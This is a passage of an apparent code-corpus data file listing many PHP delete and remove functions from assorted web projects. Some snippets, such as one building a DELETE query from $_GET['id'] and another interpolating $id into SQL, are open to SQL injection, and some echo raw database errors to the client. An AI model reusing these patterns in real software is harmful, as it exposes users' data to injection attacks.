Remove(){\n\t\tif($this->AuthUser->Role=='Demo'){ // handle demo mode\n\t\t\t$tojson = array (\n\t\t\t \"IsSuccessful\" => 'false',\n\t\t\t\t\"Error\" => 'Not available in demo mode'\n\t\t\t);\n\n\t\t\t// encode to json\n\t\t\t$encoded = json_encode($tojson);\n\n\t\t\tdie($encoded);\n\t\t}\n\n\t\t$menuTypeUniqId = $this->GetPostData(\"MenuTypeUniqId\");\n\t\t\n\t\t$menuType = MenuType::GetByMenuTypeUniqId($menuTypeUniqId);\n\t\t\n\t\t$menuType->Delete();\n\t\t\n\t\t// return MenuTypeUniqId\n\t\t$tojson = array (\n\t\t 'IsSuccessful' => 'true',\n\t\t\t'MenuTypeUniqId' => $menuTypeUniqId,\n\t\t\t'Message' => 'Menu type removed successfully'\n\t\t);\n\t\t\n\t\t// encode to json\n\t\t$encoded = json_encode($tojson);\n\t\t \n\t\tdie($encoded);\n\t}", "public function deleteType($typeId) {\n\t\tthrow new CmisNotImplementedException(\"deleteType\");\t\t\n\t}", "public function remove($typeId);", "public function delete($name, $type)\n {\n return apc_delete($type . $name);\n }", "public function Delete( Array $idArray,$type=\"soft\" )\n {\n $dataArray = array(\n \"idArray\"=>$idArray,\n\t\t\t\t\t\t\t\t\"type\"=>$type\n );\n \n $response = ServiceAPIUtils::CallAPIService( $dataArray,\"/User/Delete/123\", \"json\" );\n \n return $response;\n }", "function remove_id_type($id_type_id = '')\n\t{\n\t\t$this->db->where('id_type_id', $id_type_id);\n\t\t$this->db->delete('id_type');\n\n\t\t$this->session->set_flashdata('success', 'ID type has been deleted successfully.');\n\n\t\tredirect(base_url() . 'id_type_settings', 'refresh');\n\t}", "public function test_mod_lti_delete_tool_type() {\n $type = mod_lti_external::create_tool_type($this->getExternalTestFileUrl('/ims_cartridge_basic_lti_link.xml'), '', '');\n $this->assertNotEmpty(lti_get_type($type['id']));\n $type = mod_lti_external::delete_tool_type($type['id']);\n $this->assertEmpty(lti_get_type($type['id']));\n }", "function calendar_display_type_delete() {\n\t\t$db = new DB ;\n\t\tif(isset($_GET['id']) > 0)\n\t\t{\n\t\t\t// update all events who use this event_type we set the event_type to 'other'.\n\t\t\t// if we don't do this, the events who use this event_type can't be edited anymore.\n\t\t\t$result = $this->set_types_to_other($_GET['id']);\n\n\t\t\t// delete the event_type\n\t\t\t$sql = \"delete from event_type where event_type_id = \".$_GET['id'];\n\t\t\t$db->execute_statement($sql);\n\n\t\t\tinclude_once(SF_CLASS_PATH.'/calendar/calendar.inc');\n $calendar_obj = new Calendar ;\n $calendar_obj->cache_event_type_array();\n\t\t\t\t\t\t\t\n\t\t}\n\t\theader('Location: /admin/calendar/display_type_list.php');\n }", "protected function _delete($type, $dn)\n {\n global $ui;\n $infos = objects::infos($type);\n $plist = session::global_get('plist');\n // Check permissions, are we allowed to remove this object?\n $acl = $ui->get_permissions($dn, $infos['aclCategory'].'/'.$infos['mainTab']);\n if (preg_match('/d/', $acl)) {\n if ($user = get_lock($dn)) {\n return array('errors' => array(sprintf(_('Cannot delete %s. It has been locked by %s.'), $dn, $user)));\n }\n add_lock ($dn, $ui->dn);\n\n // Delete the object\n $tabobject = objects::open($dn, $type);\n $tabobject->delete();\n\n // Remove the lock for the current object.\n del_lock($dn);\n } else {\n return array('errors' => array(msgPool::permDelete($dn)));\n }\n }", "public function delete_usertype($id) {\n // Code goes here\n\t\t$query = $this->setting->deleteusertype($id);\n\t\t$this->session->set_flashdata('rolemsg', '<div class=\"alert alert-success alert-dismissible text-center\"><button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\"><span aria-hidden=\"true\">&times;</span></button>User Role Deleted Successfully!!!</div>');\n\t\tredirect('settings/userrole');\n }", "public function deleteAnActivityType(\n $id\n ) {\n //check or get oauth token\n OAuthManager::getInstance()->checkAuthorization();\n\n //prepare query string for API call\n $_queryBuilder = '/activityTypes/{id}';\n\n //process optional query parameters\n $_queryBuilder = APIHelper::appendUrlWithTemplateParameters($_queryBuilder, array (\n 'id' => $id,\n ));\n\n //validate and preprocess url\n $_queryUrl = APIHelper::cleanUrl(Configuration::getBaseUri() . $_queryBuilder);\n\n //prepare headers\n $_headers = array (\n 'user-agent' => BaseController::USER_AGENT,\n 'Authorization' => sprintf('Bearer %1$s', Configuration::$oAuthToken->accessToken)\n );\n\n //call on-before Http callback\n $_httpRequest = new HttpRequest(HttpMethod::DELETE, $_headers, $_queryUrl);\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnBeforeRequest($_httpRequest);\n }\n\n //and invoke the API call request to fetch the response\n $response = Request::delete($_queryUrl, $_headers);\n\n $_httpResponse = new HttpResponse($response->code, $response->headers, $response->raw_body);\n $_httpContext = new HttpContext($_httpRequest, $_httpResponse);\n\n //call on-after Http callback\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnAfterRequest($_httpContext);\n }\n\n //handle errors defined at the API level\n $this->validateResponse($_httpResponse, $_httpContext);\n\n return CamelCaseHelper::keysToCamelCase($response->body);\n }", "public function removePerm($aid){\n\t\t//$arr=array('uid'=>$uid,'rid'=>$rid);\n\t\t$this->db->delete('user_admin',array('ID'=>$aid));\n\t}", "public function destroy(type_of_user $type_of_user)\n {\n //\n }", "public function delete($placeType){\n }", "public function deleteUserType($UserTypeID, $Input=array()) {\r\n\t\t/*delete group */\r\n\t\t$this->db->where(\"UserTypeID\",$UserTypeID);\r\n\t\t$this->db->delete('tbl_users_type');\r\n\t\treturn true;\r\n\t}", "public function DeletePermission() {\n if ($this->get_request_method() != \"POST\") {\n $this->response('', 406);\n }\n\n if (isset($_REQUEST['data'])) {\n $idUser = $_REQUEST['data']['idUser'];\n\n try {\n $sql = $this->db->prepare(\"DELETE FROM permission WHERE idUser = :idUser \");\n $sql->bindParam('idUser', $idUser, PDO::PARAM_INT);\n $sql->execute();\n if ($sql) {\n $success = array('status' => \"Success\", \"msg\" => \"Successfully one record deleted.\");\n $this->response($this->json($success), 200);\n }\n } catch (PDOException $ex) {\n if ($ex->getCode() === '23000') {\n $error = array('status' => \"Failed\", \"msg\" => \"Impossible de supprimé cette permission\");\n $this->response($this->json($error), 400);\n } else {\n $error = array('status' => \"Failed\", \"msg\" => $ex->getMessage());\n $this->response($this->json($error), 400);\n }\n }\n }\n }", "public function deleteAdType($id)\n {\n $query = \"DELETE adv_type WHERE id = $id\";\n return $this->getQueryResult($query, $this->getConnection());\n }", "public function uninstall() {\n\t\t$this->load->model( 'user/user_group' );\n\t\t// access - modify pavomenu edit\n\t\t$this->model_user_user_group->removePermission( $this->user->getId(), 'access', 'extension/module/pavomenu/menu' );\n\t\t$this->model_user_user_group->removePermission( $this->user->getId(), 'modify', 'extension/module/pavomenu/menu' );\n\t\t// END REMOVE USER PERMISSION\n\t}", "public function postDelete($type)\n {\n // Declare the rules for the form validation\n $rules = array(\n 'id' => 'required|integer'\n );\n\n // Validate the inputs\n $validator = Validator::make(Input::all(), $rules);\n\n // Check if the form validates with success\n if ($validator->passes())\n {\n $id = $type->id;\n $type->delete();\n\n // Was the type post deleted?\n $type = Type::find($id);\n if(empty($type))\n {\n // Redirect to the type posts management page\n return Redirect::to('admin/successful-delete')->with('success', Lang::get('admin/types/messages.delete.success'));\n }\n }\n // There was a problem deleting the type post\n return Redirect::to('admin/types/' . $id . '/delete')->with('error', Lang::get('admin/types/messages.delete.error'));\n }", "function delete_permission() {\n\t\t$this->db->where('permission_id', $_POST['id']);\n\t\t$this->db->delete('system_security.permission');\n\t\techo \"{error: '',msg: '\" . sprintf(lang('success_delete'), 'permission') . \"'}\";\n\t\t\n }", "public function delete($id)\n {\n $activity_type = ActivityType::find($id);\n $activity_type->delete();\n return redirect('/activity-types')->with('status','Activity Type Deactivated');\n }", "function deleteType($id) {\n \t$sql = \"DELETE FROM type WHERE id=:id\";\n try {\n $db = getConnection(\"alcapp\");\n $stmt = $db->prepare($sql);\n $stmt->bindParam(\"id\", $id);\n $stmt->execute();\n $db = null;\n } catch(PDOException $e) {\n echo '{\"error\":{\"text\":'. $e->getMessage() .'}}';\n }\n }", "public function actionDelete($id,$type)\n {\n if($type=='dept'){\n $model=$this->findModel($id);\n $model->setAttribute('dept_delete',1);\n $model->save(false);\n }else{\n $model=$this->findModel($id);\n $model->setAttribute('branch_delete',1);\n $model->save(false);\n }\n\n return $this->redirect(['index']);\n }", "public function delete($name, $type)\n {\n $this->memcached->delete($this->generateKey($name, $type));\n }", "public function removeUserAdminPermissions ( Request $request )\n {\n \n $id = $request['id'];\n $user = User::find( $id );\n\n if( $user->id == \\Auth::user()->id )\n {\n return(\n back()\n ->with( [ 'flash_error' => 'You cannot update your own admin access.' ] )\n );\n }\n\n $user->is_admin = false;\n $user->save();\n\n return(\n back()\n ->with( [ 'flash_success' => 'You have successfully removed this users admin access.' ] )\n );\n \n }", "public function delete_type_record($id){\n\t\t$this->db->where('training_type_id', $id);\n\t\t$this->db->delete('training_types');\n\t\t\n\t}", "public function deleteAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Lock_Service_FileType::getFileType($id);\n\t\tif ($info && $info['id'] == 0) $this->output(-1, '无法删除');\n\t\t//检查分类下是否有文件\n\t\t$file_types = Lock_Service_FileTypes::getByTypeId($id);\n\t\tif ($file_types) $this->output(-1, '仍然有解锁属于该分类,不能删除');\n\t\t\n\t\t$result = Lock_Service_FileType::deleteFileType($id);\n\t\tif (!$result) $this->output(-1, '操作失败');\n\t\t$this->output(0, '操作成功');\n\t}", "public function destroy(Type $type)\n {\n //\n }", "public function destroy(Type $type)\n {\n //\n }", "function delete_type($id)\n\t\t{\n\t\t\n\t\t$this->db->where('revenue_id',$id);\n\t\t\n\t\t$this->db->delete($this->table_name);\n\t\t\n\t\t}", "public function destroy(UserType $userType)\n {\n //\n }", "public function delete($type)\n {\n $filename = self::getFile($type);\n @unlink($filename);\n // re-create log file\n $translator = Msd_Language::getInstance()->getTranslator();\n $this->write($type, $translator->_('L_LOG_CREATED'));\n }", "function account_removal_get_hmac($type, $user_guid) {\n\t\n\t$user = get_user($user_guid);\n\tif (empty($user)) {\n\t\treturn false;\n\t}\n\t\n\tif (!in_array($type, ['remove', 'disable'])) {\n\t\treturn false;\n\t}\n\t\n\treturn elgg_build_hmac([\n\t\t$user->getGUID(),\n\t\t$type,\n\t\t$user->salt,\n\t]);\n}", "public function removeData($type, $id)\n { \n if($type == 'section'){\n Category_sections::destroy($id);\n }elseif($type == 'question'){\n Section_questions::destroy($id);\n }elseif($type == 'answer'){\n Question_answers::destroy($id);\n }\n \n return response()->json(['success' => 1]); \n \n }", "public function test_mod_lti_delete_tool_type_without_capability() {\n $type = mod_lti_external::create_tool_type($this->getExternalTestFileUrl('/ims_cartridge_basic_lti_link.xml'), '', '');\n $this->assertNotEmpty(lti_get_type($type['id']));\n $this->expectException('required_capability_exception');\n self::setUser($this->teacher);\n $type = mod_lti_external::delete_tool_type($type['id']);\n }", "public function deleting($educationType)\n {\n\t\tparent::deleting($educationType);\n\n }", "public function deleteType($id)\n {\n $this->db->select('COUNT(*) AS count');\n $this->db->from('items');\n $this->db->where('item_type_id', $id);\n $query = $this->db->get();\n\n $result = $query->result()[0];\n if($result->count > 0)\n {\n return 'FALSE';\n }\n else {\n $this->db->where('id', $id);\n $this->db->delete('item_type');\n return 'TRUE';\n }\n }", "public function actionDelete($id)\n\t{\n\t\t$user = User::model()->find('username=?',array(Yii::app()->user->name));\n\t\t$user_right_ID = $user->user_right_ID;\n\t\t$type_ID = $user->user_type_ID;\n\t\tif($user_right_ID == \"2\"){\n\t\t\t$this->loadModel($id)->delete();\n\t\t// if AJAX request (triggered by deletion via admin grid view), we should not redirect the browser\n\t\t\tif(!isset($_GET['ajax']))\n\t\t\t\t$this->redirect(isset($_POST['returnUrl']) ? $_POST['returnUrl'] : array('admin'));\n\t\t}else{\n\t\t\t\n\t\t\techo \"<script>alert('Sie sind nicht berechtigt, diese Aktion durchzuführen')</script>\";\n\t\t}\n\n\t}", "public function deleteCiType($typeId)\r\n {\r\n $ciTypeDaoIml = new Dao_CiType();\r\n $ciList = $ciTypeDaoIml->getCiByCiTypeId($typeId);\r\n $ciChildsfound = $ciTypeDaoIml->retrieveCiTypeChildElementsforDelete($typeId);\r\n\r\n $status = 0;\r\n $notification = array();\r\n if (!empty($ciList) || !empty($ciChildsfound)) {\r\n //deactivate\r\n $ciTypeDaoIml->deactivateCiType($typeId);\r\n $status = 2;\r\n } else {\r\n // delete\r\n $ciTypeDaoIml->deleteCiType($typeId);\r\n $status = 1;\r\n }\r\n return $status;\r\n }", "function delete_service_type($ID_SERVICE_TYPE)\n {\n return $this->db->delete('SERVICE_TYPE',array('ID_SERVICE_TYPE'=>$ID_SERVICE_TYPE));\n }", "public function destroy(ItemType $type)\n {\n //\n }", "function delete_card_type($CardTypeID)\n {\n return $this->db->delete('card_types',array('CardTypeID'=>$CardTypeID));\n }", "public function clearDataByType($type) {\n $sql = 'DELETE shadow_objects.*, shadow_object_relations.* FROM shadow_object_relations LEFT JOIN shadow_objects ON shadow_object_relations.real_object_id = shadow_objects.id WHERE shadow_objects.type = ?';\n $this->database->execute($sql, array($type));\n\n $sql = 'DELETE from `shadow_meta` WHERE type = ?';\n $this->database->execute($sql, array($type));\n }", "public function destroy($type=null,$item_id,$id)\n {\n //\n }", "function deleteactivity() {\n $this->auth(WL_ADM_LEVEL);\n $activity_id = $this->uri->segment(3);\n $this->m_activities->delete($activity_id);\n $this->activities();\n }", "public function removeUsageRights() {}", "function account_removal_send_notification($type, $user_guid) {\n\t\n\t$site = elgg_get_site_entity();\n\t\n\t$user = get_user($user_guid);\n\tif (empty($user)) {\n\t\treturn false;\n\t}\n\t\n\tif (!in_array($type, ['remove', 'disable'])) {\n\t\treturn false;\n\t}\n\t\n\t$token = acount_removal_generate_confirm_token($type, $user_guid);\n\tif (empty($token)) {\n\t\treturn false;\n\t}\n\t\n\t$url = elgg_normalize_url(\"account_removal/{$user->username}/confirm/{$type}/?confirm_token={$token}\");\n\t\n\t$subject = elgg_echo(\"account_removal:message:{$type}:subject\", [\n\t\t$site->name,\n\t]);\n\t$message = elgg_echo(\"account_removal:message:{$type}:body\", [\n\t\t$user->name,\n\t\t$url,\n\t]);\n\t\n\tnotify_user($user_guid, $site->getGUID(), $subject, $message, [], 'email');\n\t\n\treturn true;\n}", "public function delete()\r\n\t{\r\n\t\t$sql = 'DELETE FROM ' . TABLE_PREFIX . 'access_ticket_type\r\n\t\t\t\tWHERE att_id = ?';\r\n\t\t$rowCount = $this->db->query($sql, array($this->id))->rowCount();\r\n\r\n\t\treturn $rowCount;\r\n\t}", "public static function delete($ID)\n\t{\n\t\tif(!self::exists($ID))\n\t\t{\n\t\t\tthrow new DeleteException(\\CCrmOwnerType::CustomActivityType, $ID, array(), DeleteException::NOT_FOUND);\n\t\t}\n\n\t\tif(self::hasDependencies($ID))\n\t\t{\n\t\t\tthrow new DeleteException(\\CCrmOwnerType::CustomActivityType, $ID, array(), DeleteException::DEPENDENCIES_FOUND);\n\t\t}\n\n\t\t/** @var Main\\Entity\\DeleteResult $result */\n\t\t$result = null;\n\t\ttry\n\t\t{\n\t\t\t$result = CustomTypeTable::delete($ID);\n\t\t}\n\t\tcatch(\\Exception $ex)\n\t\t{\n\t\t\tthrow new DeleteException(\\CCrmOwnerType::CustomActivityType, $ID, array($ex->getMessage()), 0, '', 0, $ex);\n\t\t}\n\n\t\t$success = $result->isSuccess();\n\t\tif(!$success)\n\t\t{\n\t\t\tthrow new DeleteException(\\CCrmOwnerType::CustomActivityType, $ID, $result->getErrorMessages());\n\t\t}\n\n\t\tunset(self::$existMap[$ID]);\n\t\tself::eraseUserFields($ID);\n\t}", "public function apiDelete($feed_type_id)\n {\n \t\tCache::forget('feed_types');\n \t\tFeedTypes::findOrFail($feed_type_id)->delete();\n DB::table('feeds_feed_type_budgeted_amount_per_day')->where('feed_type_id',$feed_type_id)->delete();\n\n \t\treturn \"deleted\";\n }", "public function destroy(Type $type)\n {\n //\n $type->delete();\n return redirect()->route('type')\n ->with('success','ลบหมวดหมู่สินค้าสำเร็จ');\n }", "public function delete() {\r\n $this->db->delete(\"assets_permissions\", $this->db->quoteInto(\"id = ?\", $this->model->getId()));\r\n }", "function del_access_grant_to_invited_group($event, $type, $object) {\n\tif ($object->relationship == 'invited') {\n\t\tremove_entity_relationship($object->guid_one, 'access_grant', $object->guid_two);\n\t}\n}", "public function undeleteAction(){\n\t}", "public function deletePermissions() {\n\t\t// delete group permissions\n\t\t$sql = \"DELETE FROM\twcf\".WCF_N.\"_linklist_category_to_group\n\t\t\tWHERE\t\tcategoryID = \".$this->categoryID;\n\t\tWCF::getDB()->sendQuery($sql);\n\t}", "protected function remove($type)\n {\n unset($this->alerts[$type]);\n }", "public function actionDelete($id,$type)\n {\n $this->findModel($id)->delete();\n\n return $this->redirect([\"index$type\"]);\n }", "public function transactionTypedelete($transaction_type_id)\r\n {\r\n $deleted_transaction_type = TransactionType::destroy($transaction_type_id);\r\n if($deleted_transaction_type){\r\n return response()->json(['msg' => 'Saftly deleted the transaction type'],200);\r\n }else{\r\n return response()->json(['msg' => 'Could not delete record'], 400);\r\n }\r\n }", "public function deleteSystemType()\r\n{\r\n $query_string = \"DELETE FROM system_type \";\r\n $query_string .= \"WHERE systemtypeid = :systemtypeid \";\r\n\r\n return $query_string;\r\n}", "private static function remove_types() {\n\n\t\treturn [\n\t\t\t'attachment',\n\t\t\t'revision',\n\t\t\t'nav_menu_item'\n\t\t];\n\n\t}", "public function deleted(ClaseType $clases_type)\n {\n // $clases_type->blocks()->delete();\n }", "public function action_remove(){\n $abuse = ORM::factory('BoardAbuse', $this->request->param('id'));\n if($abuse->loaded()){\n if($abuse->ad->loaded())\n $abuse->ad->delete();\n $abuse->delete();\n }\n $this->redirect('admin/boardAbuses' . URL::query());\n }", "static public function ctrEliminarTipoContacto(){\n\t\tif(isset($_POST[\"accionTipoContacto\"]) && $_POST[\"accionTipoContacto\"] == \"eliminar\"){\n\t\t\t$tabla =\"vtama_tipo_contacto\";\n\t\t\t$datos = $_POST[\"codigoTipoContacto\"];\n\t\t\t$respuesta = ModeloTipoContacto::mdlEliminarTipoContacto($tabla, $datos);\n\t\t\treturn $respuesta;\n\t\t}//if\n\t}", "public function delete($id) {\n // Delete the type\n $this->getDb()->delete('eventtype', array('num_ET' => $id));\n }", "public function delete($address, $list, $type)\n {\n $this->getQuery()\n ->where('type', '=', $type)\n ->where('list', '=', $list)\n ->where('label', '=', $address)\n ->delete();\n }", "public function actionDelete()\n {\n $request = \\Yii::$app->request;\n \t$response = Yii::$app->response;\n \t$response->format = \\yii\\web\\Response::FORMAT_JSON;\n \t$TypeId= $request->post('TypeId', null);\n \t$model = EventType::findOne($TypeId);\n \t$isDelete = $this->isDelete($model);\n \t$retData['success'] = false;\n \t$isTypeUsedByID = $this->findAllITypeUsedByID($TypeId);\n \t$retData['model'] = $isTypeUsedByID;\n \t$retData['isDelete'] = $isDelete;\n \tif($isDelete){\n \t\t$retData['isDelete'] = $isDelete;\n \t}\n \telse if ($isTypeUsedByID){\n \t\t$model->activeFlag = ActiveFlag::INACTIVE;\n \t\t$model->save();\n \t\t//$retData['isTypeUsedByID'] = true;\n \t\t$retData['success'] = true;\n \t}\n \telse{\n \t\tif($model->delete()){\n \t\t\t$message = true;\n \t\t\t$retData['success'] = true;\n \t\t}else{\n \t\t\t$message = false;\n \t\t\t$retData['success'] = false;\n \t\t}\n \t}\n \techo json_encode($retData);\n }", "function objDeleteType($dbh, $otid)\r\n{\r\n $dbh->Query(\"delete from app_object_types where id = '$otid' and f_system='f';\");\r\n return true;\r\n}", "function removePermission($permission, $user) { // admin_page.php, admin_permission.php, admin_user.php, single-access.php, single-product.php, user_cancel_subscription.php, user_charge_subscription.php, \r\n\r\n\tglobal $mysqli,$db_table_prefix; \r\n\r\n\t$i = 0;\r\n\r\n\t$stmt = $mysqli->prepare(\"DELETE FROM \".$db_table_prefix.\"user_permission_matches \r\n\r\n\t\tWHERE permission_id = ?\r\n\r\n\t\tAND user_id =?\");\r\n\r\n\tif (is_array($permission)){\r\n\r\n\t\tforeach($permission as $id){\r\n\r\n\t\t\t$stmt->bind_param(\"ii\", $id, $user);\r\n\r\n\t\t\t$stmt->execute();\r\n\r\n\t\t\t$i++;\r\n\r\n\t\t}\r\n\r\n\t}\r\n\r\n\telseif (is_array($user)){\r\n\r\n\t\tforeach($user as $id){\r\n\r\n\t\t\t$stmt->bind_param(\"ii\", $permission, $id);\r\n\r\n\t\t\t$stmt->execute();\r\n\r\n\t\t\t$i++;\r\n\r\n\t\t}\r\n\r\n\t}\r\n\r\n\telse {\r\n\r\n\t\t$stmt->bind_param(\"ii\", $permission, $user);\r\n\r\n\t\t$stmt->execute();\r\n\r\n\t\t$i++;\r\n\r\n\t}\r\n\r\n\t$stmt->close();\r\n\r\n\treturn $i;\r\n\r\n}", "public function delete($id, $type)\n {\n $stmt = $this->db()->prepare(\"DELETE FROM toys WHERE id=:id AND type=:type\");\n return $stmt->execute(array(':type' => $type, ':id' => $id));\n }", "public function deleteRoleAccess()\n\t{\n\t\t$RoleAccessID = $this->input->post('RoleAccessID');\n\t\t$RoleAccessData = $this->system_structure_m->deleteRoleAccess($RoleAccessID);\n\t\techo $RoleAccessData;\n\t}", "public function deleteAction(){\n \n $req=$this->getRequest();\n $user=Doctrine::getTable('Users')->find($req->getParam('id')); \n\n // Gli utenti developer non possono essere eliminati \n if ($user->Role->developer){\n $this->errors->addError(\"L'utente Developer non pu&ograve; essere cancellato.\");\n $this->emitSaveData();\n return;\n }\n \n $q=Doctrine_Query::create()\n ->delete()\n ->from('Users')\n ->addWhere('ID = ?',$this->getRequest()->getParam('id'))\n ->execute();\n \n $this->emitJson(array(\"success\"=>true));\n }", "public function delete_contract_type($id)\n {\n if (!$id) {\n redirect(admin_url('contracts/types'));\n }\n\t\t$response = $this->contracts_model->delete_contract_type($id);\n\n\t\tif(is_array($response) && isset($response['referenced'])){\n\t\t\tset_alert('warning',_l('is_referenced',_l('contract_type_lowercase')));\n\t\t} else if($response == true){\n\t\t\tset_alert('success', _l('deleted',_l('contract_type')));\n\t\t} else {\n\t\t\tset_alert('warning', _l('problem_deleting',_l('contract_type_lowercase')));\n\t\t}\n\n\t\tredirect(admin_url('contracts/types'));\n }", "public function testSystemMembersTypesIdDelete()\n {\n\n }", "public function destroy(ActivityType $activityType)\n {\n if ($activityType->timeEntries()->count() > 0) {\n return $this->sendError('This activity has more than one time entry, so it can\\'t be deleted.');\n }\n\n $activityType->update(['deleted_by' => getLoggedInUserId()]);\n $activityType->delete();\n\n return $this->sendSuccess('Activity Type deleted successfully.');\n }", "public function destroy($id)\n\t{\n\t\tif(!Auth::user()->hasPermission('deleteType')){\n\t\t\treturn redirect()->route('admin.getHome')->with('flash_message_error', '403! Không thể Delete Type');\n\t\t}\n\t\t//\n\t\t$film_type = FilmType::findOrFail($id);\n\t\t$film_type->delete();\n\t\t//forget cache\n\t\tif(Cache::has('film_type')){\n\t\t\tCache::forget('film_type');\n\t\t}\n\t\treturn redirect()->route('admin.type.index')->with(['flash_message' => 'Thành công! Xóa Type id: '.$id]);\n\t}", "protected function _removetab($type, $dn, $tab)\n {\n $this->checkAccess($type, $tab, $dn);\n $tabobject = objects::open($dn, $type);\n $tabobject->current = $tab;\n if (!is_subclass_of($tabobject->by_object[$tab], 'simplePlugin')) {\n return array('errors' => array('Tab '.$tab.' is not based on simplePlugin, can’t remove it'));\n } elseif (!$tabobject->by_object[$tab]->displayHeader) {\n return array('errors' => array('Tab '.$tab.' cannot be deactivated, can’t remove it'));\n } elseif (!$tabobject->by_object[$tab]->is_account) {\n return array('errors' => array('Tab '.$tab.' is not activated on '.$dn.', can’t remove it'));\n }\n $_POST = array($tab.'_modify_state' => 1);\n $tabobject->save_object();\n $errors = $tabobject->check();\n if (!empty($errors)) {\n return array('errors' => $errors);\n }\n $tabobject->save();\n return $tabobject->dn;\n }", "function remove_scope(){\n //checkPortalIsNotReadOnlyOrUserIsAdmin($user);\n\n //Check user has permission\n checkUserIsAdmin();\n if (!isset($_REQUEST['id']) || !is_numeric($_REQUEST['id']) ){\n throw new Exception(\"An id must be specified\");\n }\n\n //Get the scope from the id\n $serv= \\Factory::getScopeService();\n $scope =$serv ->getScope($_REQUEST['id']);\n\n //keep the name to display later\n $params['Name'] = $scope -> getName();\n\n //check to see if there are NGIs, Sites, Service Groups, & services,\n // with this scope tag. If there are, prevent deletion of it.\n $ngisWithScope = $serv->getNgisFromScope($scope);\n $sitesWithScope = $serv->getSitesFromScope($scope);\n $sGroupWithScope = $serv->getServiceGroupsFromScope($scope);\n $serviceWithScope = $serv->getServicesFromScope($scope);\n\n $deletionAllowed = true;\n if(sizeof($ngisWithScope)>0){\n $deletionAllowed = false;\n }\n if(sizeof($sitesWithScope )>0){\n $deletionAllowed = false;\n }\n if(sizeof($sGroupWithScope)>0){\n $deletionAllowed = false;\n }\n if(sizeof($serviceWithScope)>0){\n $deletionAllowed = false;\n }\n\n //Allow the deletion of scopes that are in use\n $scopeInUseOveride=false;\n if(isset($_REQUEST['ScopeInUseOveride'])){\n if($_REQUEST['ScopeInUseOveride'] == 'true'){\n $scopeInUseOveride =true;\n $deletionAllowed = true;\n }\n }\n\n if($deletionAllowed){\n //Delete the scope. This fuction will check the user is allowed to\n //perform this action and throw an error if not.\n $dn = Get_User_Principle();\n $user = \\Factory::getUserService()->getUserByPrinciple($dn);\n try {\n $serv->deleteScope($scope, $user, $scopeInUseOveride);\n } catch(\\Exception $e) {\n show_view('error.php', $e->getMessage());\n die();\n }\n\n show_view(\"admin/deleted_scope.php\", $params, $params['Name'].'deleted');\n }\n else{\n $params['ID']= $scope->getId();\n $params['NGIs'] = $ngisWithScope;\n $params['Sites'] = $sitesWithScope;\n $params['ServiceGroups']=$sGroupWithScope;\n $params['Services']=$serviceWithScope;\n show_view('admin/delete_scope_denied.php', $params, \"Scope still in use\");\n }\n\n}", "function delete()\n {\n if($this->checkAccess('permission.delete') == 1)\n {\n echo(json_encode(array('status'=>'access')));\n }\n else\n {\n $permissionId = $this->input->post('permissionId');\n $permissionInfo = array('isDeleted'=>1,'updatedBy'=>$this->vendorId, 'updatedDtm'=>date('Y-m-d H:i:s'));\n \n $result = $this->permission_model->deletePermission($permissionId, $permissionInfo);\n \n if ($result > 0) { echo(json_encode(array('status'=>TRUE))); }\n else { echo(json_encode(array('status'=>FALSE))); }\n }\n }", "function deleteRegistrationType(&$registrationType) {\n\t\treturn $this->deleteRegistrationTypeById($registrationType->getTypeId());\n\t}", "function tutor_assignment_delete($username, $type, $selected_uid) {\n $type = rtrim($type, \"s\");\n\n $select = eto_user_load($selected_uid);\n \n $title = \"Delete the $type '\" . $select->name . \"' from $username\";\n drupal_set_title($title);\n $output = \"<h2>$title</h2>\";\n\n $user = eto_user_load(array('name' => $username));\n\n $node = (object) array ('uid' => $user->uid,\n\t\t\t 'selected_uid' => $selected_uid,\n\t\t\t 'type' => $type);\n\n $output .= \"Are you sure you want to delete this assignment?\";\n $output .= drupal_get_form('delete_assignment_form', $node);\n\n return $output;\n}", "public function removeFromIndexByTypeAndId($type, $id)\n {\n $this->elasticsearch->delete(\n [\n 'index' => $this->indexName,\n 'type' => $type,\n 'id' => $id,\n ]\n );\n }", "public function destroy(MembershipType $membershipType)\n {\n //\n }", "public function uninstall()\n\t\t{\n\t\t\t$this->_Parent->Database->delete('tbl_pages_types', \"`page_id` = 4294967295\");\n\t\t}", "public function deleteAll($type)\n {\n try\n {\n if($type == 'projects')\n {\n //Get all deleted projects\n $projects = \\Project::onlyTrashed()->get()->toArray();\n if(sizeof($projects) != 0)\n {\n foreach($projects as $project)\n {\n //Get Tasks for project\n $tasks = \\Task::withTrashed()->where('project_id',$project['id'])->lists('id');\n if(sizeof($tasks) != 0)\n {\n //Delet Each Task\n foreach ($tasks as $task) \n {\n $result = static::deleteEntity($task,'task');\n }\n }\n //Delete Project\n $result = static::deleteEntity($project['id'],'project');\n }\n }\n //For Notifications \n \\Session::put('status','success');\n \\Session::put('message', 'Project Deleted');\n return \\View::make('dashboard.admin.data')\n ->with('data',null)\n ->with('type','Projects'); \n\n \n }\n elseif($type == 'tasks')\n {\n //Get all deleted tasks\n $tasks = \\Task::onlyTrashed()->get()->toArray();\n $data;\n if(sizeof($tasks) != 0)\n {\n //Delete Each Task\n foreach($tasks as $task)\n {\n $result = static::deleteEntity($task['id'],'task');\n\n }\n }\n //For Notifications\n \\Session::put('status','success');\n \\Session::put('message', 'Tasks Deleted');\n return \\View::make('dashboard.admin.data')\n ->with('data',null)\n ->with('type','Tasks'); \n \n }\n elseif($type == 'events')\n {\n //Permanently delete all events\n $events = \\Events::onlyTrashed()->forceDelete();\n //For Notifications\n \\Session::put('status','success');\n \\Session::put('message', 'Events Deleted');\n return \\View::make('dashboard.admin.data')\n ->with('data',null)\n ->with('type','Events'); \n\n }\n }\n catch(\\Exception $e)\n {\n\n \\Log::error('Something Went Wrong in Admin Data Controller - deleteAll():'.$e->getMessage());\n throw new \\SomethingWentWrongException();\n }\n\n }", "function wpse28782_remove_menu_items() {\n if( !current_user_can( 'administrator' ) ):\n remove_menu_page( 'edit.php?post_type=your_post_type' );\n endif;\n}", "function delete_apps()\n {\n $deleted = $_POST['delete'];\n $modify_app = new Database();\n $modify_app->alterApplication($deleted, 'App_Status', 'Deleted');\n $modify_app = null; \n }", "private function __clearEditSession ($type = CLEAR_ALL) {\n if (($type == CLEAR_ALL | $type == CLEAR_QUESTION)) {\n if ($this->Session->check('SurveyQuestion.new')) $this->Session->delete('SurveyQuestion.new');\n if ($this->Session->check('SurveyQuestion.delete')) 